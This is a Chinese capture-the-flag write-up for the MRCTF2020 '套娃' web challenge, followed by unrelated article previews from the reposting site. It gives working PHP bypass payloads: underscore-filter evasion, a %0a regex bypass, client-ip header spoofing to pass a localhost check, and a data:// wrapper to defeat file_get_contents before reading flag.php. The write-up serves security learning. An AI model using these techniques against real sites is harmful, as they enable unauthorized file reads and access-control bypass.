练[MRCTF2020]套娃

[MRCTF2020]套娃

文章目录

      • [MRCTF2020]套娃
      • 掌握知识
      • 解题思路
        • 代码分析1
        • 代码分析2
      • 关键paylaod

在这里插入图片描述

掌握知识

​ 参数的_符号的替换,正则和强等于联合绕过,jsfuck编码,bp请求方式的转变,本地ip的请求头,代码审计,简单的字符串解密和加密函数之间的逆推构造,file_get_contents函数的绕过

解题思路

  1. 打开题目链接,发现界面没什么内容,查看源码发现了一串代码,代码还算简单,获取参数不能有_,下面传参的内容不能等于23333,但还要以23333开头和结尾,经典矛盾

image-20231007164434488

代码分析1
  1. 对于第一个判断,因为参数是b_u_p_t,肯定是有_的,但是php解析中,可以把.和空格都当做_解析,所以构建参数为b.u.p.t。第二个矛盾的判断,很明显肯定是23333结尾加一点特殊字符满足前后两个条件。这里可以使用换行符%0a,正则匹配不会把该符号当作内容进行匹配,所以并不会影响23333开头结尾的匹配,而接受参数的变量会把整体内容都保存,所以就不会和23333相等了,即可通过判断

image-20231007165139458

  1. 通过判断后提示flag在一个文件中,访问之后提示需要被登录,查看了一下源码发现了一串被注释的jsfuck编码,将其在线网站解密后得到需要进行post传参Merak

image-20231007165132244

image-20231007165401288

image-20231007165355727

  1. 抓包之后,右键切换请求方式,进行post传参,查看相应界面发现了一串代码,根据代码内容很明显这是套娃的最后一步了

image-20231007165525710

include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); 
} function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 
代码分析2
  1. 对代码进行分析,post传参merak就会显示源代码,但是代码也就终止了。第一个判断是要求ip地址为127.0.0.1,这个使用XFF头就能通过,但是这里对XFF进行了过滤,使用其他的请求头功能也一样,client-ip:127.0.0.1。第二个判断是需要绕过file_get_contents函数,只需要使用data协议或者phpinput协议将后面的内容输出传递即可绕过
if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); 
} 
if($ip!='127.0.0.1')
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )
  1. 通过判断就能进行文件读取了,但是还要经过change函数,该函数先对字符串进行base64解密,再对每一位字符进行特殊运算。这种也很好解决,只需要写个代码将解密代码顺序进行颠倒,即可还原加密后的字符串,通过该解密函数后就能得到正常的文件名了
# 解密
function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; 
}
# 加密
str1="flag.php"
str2=''
for i in range(len(str1)):str2+=chr(ord(str1[i])-i*2)
print(str2)
# fj]a&f\b
  1. 将逆推得到的文件名进行base64编码,即可完成加密文件名过程,接下来就是进行GET传参了,将2333file赋予分析得到的paylaod,传参之后即可拿下flag

image-20231007170531947

image-20231007170554036

关键paylaod

b.u.p.t=23333%0aMerak=   # post传参client-ip:127.0.0.1str1="flag.php"
str2=''
for i in range(len(str1)):str2+=chr(ord(str1[i])-i*2)
print(str2)
# fj]a&f\b/secrettw.php?2333=data://text/plain,todat%20is%20a%20happy%20day&file=ZmpdYSZmXGI=

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/96800.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

操作系统的五种IO模型

高级IO 阻塞IO 在内核将数据准备好之前&#xff0c;系统调用会一直等待&#xff0c;所有的套接字默认都是阻塞方式。 非阻塞IO 如果内核还未将数据准备好&#xff0c;系统调用仍然会直接返回&#xff0c;并且返回EWOULDBLOCK错误码。 非阻塞IO往往需要程序员循环的方式反复尝试…

TCP四次挥手

四次挥手发生在断开连接的时候&#xff0c;在程序中当调用了close()会使用TCP协议进行四次挥手。 客户端和服务器端都可以主动发起断开连接&#xff0c;谁先调用close()谁就是发起。 因为在TCP连接的时候&#xff0c;采用三次握手建立的的连接是双向的&#xff0c;在断开的时候…

电脑被删除的文件怎么恢复?2023年数据恢复方法分享

大多数人在使用电脑时都可能会遇到误删文件的情况。一不小心&#xff0c;重要的文件或数据就消失了&#xff0c;情急之下&#xff0c;大多会感到慌乱和无助。但其实&#xff0c;文件误删除并非不可挽回的灾难。本文将为大家介绍几种有效的文件恢复方法&#xff0c;以帮助大家在…

【力扣】42. 接雨水

这道题我卡了差不多1个小时&#xff0c;不是不会做&#xff0c;是不知道怎么能用栈来实现&#xff0c;后面看了一个博主的视频&#xff0c;豁然开朗&#xff0c;我主要的纠结点在于当指针指到7的时候&#xff0c;我计算出4到7的水块是2&#xff0c;但实际上是0&#xff0c;因为…

SpringBoot 可以同时处理多少请求

目录 一、前言 二、相关配置 1、配置信息 2、配置说明 3、案例说明 三、代码验证 1、测试代码 2、测试步骤 四、总结 一、前言 首先&#xff0c;在Spring Boot应用中&#xff0c;我们可以使用 Tomcat、Jetty、Undertow 等嵌入式 Web 服务器作为应用程序的运行容器。这…

Vue中如何进行拖拽与排序功能实现

在Vue中实现拖拽与排序功能 在Web应用程序中&#xff0c;实现拖拽和排序功能是非常常见的需求&#xff0c;特别是在管理界面、任务列表和图形用户界面等方面。Vue.js作为一个流行的JavaScript框架&#xff0c;提供了许多工具和库来简化拖拽和排序功能的实现。本文将介绍如何使…

抖捧自动直播市场火热,实体行业如何实现高效开播?

在AI数字人热度之后&#xff0c;最近抖捧场景自动直播开始火遍全网&#xff0c;因为操作简单成本极低&#xff0c;只需要一部手机放在店里&#xff0c;就可以高效开播&#xff0c;深受广大实体行业老板的认可&#xff0c;那么抖捧实景自动直播的方式&#xff0c;具体是怎么实现…

P1014 [NOIP1999 普及组] Cantor 表

#include <bits/stdc.h> using namespace std; int main() {int n,k1;cin>>n;while (n>k) {nn-k;k;}if(k%20) cout<<n<<"/"<<(k1-n);else cout<<k1-n<<"/"<<n;return 0; }

IDEA添加Vue文件模板

代码模板&#xff1a; <!-- *${COMPONENT_NAME} *author niemengshi *date ${DATE} ${TIME} --> <template> #[[$END$]]# </template> <script> export default { name: "${COMPONENT_NAME}", props: { }, components: {}, mounted: {}, d…

数据压缩与管理:掌握Linux VDO和LVM的力量

1.逻辑卷(LVM&#xff0c;Logical Volume Management) 动态的为服务器磁盘添加空间&#xff0c;而不会影响原磁盘的数据&#xff0c;也不需要对原始磁盘重新分区。 1.1 LVM介绍 以下是LVM的示意图&#xff1a; 我们拿到一块硬盘后首先对齐进行划分分区&#xff0c;也就得到…

CocosCreator3.8研究笔记(二十三)CocosCreator 动画系统-动画编辑器相关功能面板说明

国庆假期&#xff0c;闲着没事&#xff0c;在家研究技术~ 上一篇&#xff0c;我们介绍了动画剪辑、动画组件以及基本的使用流程&#xff0c;感兴趣的朋友可以前往阅读&#xff1a; CocosCreator 动画系统-动画剪辑和动画组件介绍。 今天&#xff0c;主要介绍动画编辑器相关功能…

FastThreadLocal 快在哪里 ?

FastThreadLocal 快在哪里 &#xff1f; 引言FastThreadLocalset如何获取当前线程私有的InternalThreadLocalMap &#xff1f;如何知道当前线程使用到了哪些FastThreadLocal实例 ? get垃圾回收 小结 引言 FastThreadLocal 是 Netty 中造的一个轮子&#xff0c;那么为什么放着…

一篇理解网络分层原理

一、网络分层的必要性。 如图是一个数据的传输过程&#xff0c;在这个途中会有很多的原因导致数据丢失&#xff0c;网络分层就要可以很大程度的避免这个现象。 网络分层的必要性体现在以下几个方面&#xff1a; 抽象复杂度&#xff1a;网络分层将网络功能按照不同的层次进行分…

SQL进阶 - SQL的编程规范

性能优化是一个很有趣的探索方向&#xff0c;将耗时耗资源的查询优化下来也是一件很有成就感的事情&#xff0c;但既然编程是一种沟通手段&#xff0c;那每一个数据开发者就都有义务保证写出的代码逻辑清晰&#xff0c;具有很好的可读性。 目录 引子 小试牛刀 答案 引言 …

IDEA 2021.2.2设置自动热部署

1.导入包坐标 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-devtools</artifactId><scope>runtime</scope><optional>true</optional></dependency> 2.pom.xml添加piugins插…

车载网络诊断应如何测试?

文章目录 一、前言二、测试内容三、测试设备和台架方案四、测试脚本及工程五、其他一、前言 目前车上主流的网络有CAN、LIN、ETH(以太网)。 按照测试环境可以划分为单件测试,系统测试,整车测试。 我们来看下CAN和以太网的分层图: CAN的分层图: 以太网的分层图: 最好的…

【C++】STL详解(十二)—— 用哈希表封装出unordered_map和unordered_set

​ ​&#x1f4dd;个人主页&#xff1a;Sherry的成长之路 &#x1f3e0;学习社区&#xff1a;Sherry的成长之路&#xff08;个人社区&#xff09; &#x1f4d6;专栏链接&#xff1a;C学习 &#x1f3af;长路漫漫浩浩&#xff0c;万事皆有期待 上一篇博客&#xff1a;【C】STL…

基于Dockerfile搭建LNMP

目录 一、基础环境准备 1、环境前期准备 二、部署nginx&#xff08;容器IP 为 172.18.0.10&#xff09; 1、配置Dockerfile文件 2、配置nginx.conf文件 3、构建镜像、启动镜像 三、部署mysql 1、配置Dockerfile文件 2、配置my.conf文件 3、构建镜像、启动镜像 5、验…

经典算法----迷宫问题(找出所有路径)

目录 前言 问题描述 算法思路 定义方向 回溯算法 代码实现 前言 前面我发布了一篇关于迷宫问题的解决方法&#xff0c;是通过栈的方式来解决这个问题的&#xff08;链接&#xff1a;经典算法-----迷宫问题&#xff08;栈的应用&#xff09;-CSDN博客&#xff09;&#xff…